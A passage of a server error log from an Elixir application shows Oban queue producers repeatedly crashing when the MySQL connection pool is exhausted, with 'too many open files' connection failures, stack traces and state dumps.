State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:56:38.239151Z], limit: 20, uuid: "fc0388c9-1f9d-4568-9a6a-a04278772bb9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.239157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146371>, refresh_timer: #Reference<0.2525715032.1121189889.146335>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:56:38.238956Z], limit: 5, uuid: "9ce514d0-6b1b-4231-af99-f6321f9e4963", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.238962Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146372>, refresh_timer: #Reference<0.2525715032.1121189889.146324>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:56:38.240226Z], limit: 10, uuid: "c1fb852e-98e0-446d-b3d8-73fe92f96f45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.240231Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37391>, refresh_timer: #Reference<0.2525715032.1099431938.37388>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:56:38.239520Z], limit: 50, uuid: "b2b3c8b7-8d03-4ed7-a809-dbda6ba613f3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:38.239525Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.146373>, refresh_timer: #Reference<0.2525715032.1121189889.146351>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:52.291000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:55.246000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:56.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:58.416000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:59.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:00.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:57:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:56:50.238995Z], limit: 5, uuid: "d8476bd0-c5d7-4511-a491-547701f8a86c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.239002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37449>, refresh_timer: #Reference<0.2525715032.1099431938.37438>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:02.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:56:50.240050Z], limit: 10, uuid: "a1b2bffd-6f82-4670-be77-22702f0e921d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.240056Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12180>, refresh_timer: #Reference<0.2525715032.1077673987.12153>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:56:50.240079Z], limit: 50, uuid: "0622d261-e4fb-4394-b43e-d5c2549b2995", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.240086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12182>, refresh_timer: #Reference<0.2525715032.1077673987.12157>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:02.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:56:50.239457Z], limit: 3, uuid: "09321935-7f1d-4594-9cf7-581701454414", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.239463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12183>, refresh_timer: #Reference<0.2525715032.1068498948.40201>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:56:50.239600Z], limit: 20, uuid: "6957e34d-91f3-4979-ba30-731f41a8f54f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:50.239605Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.12179>, refresh_timer: #Reference<0.2525715032.1077673987.12131>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:57:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
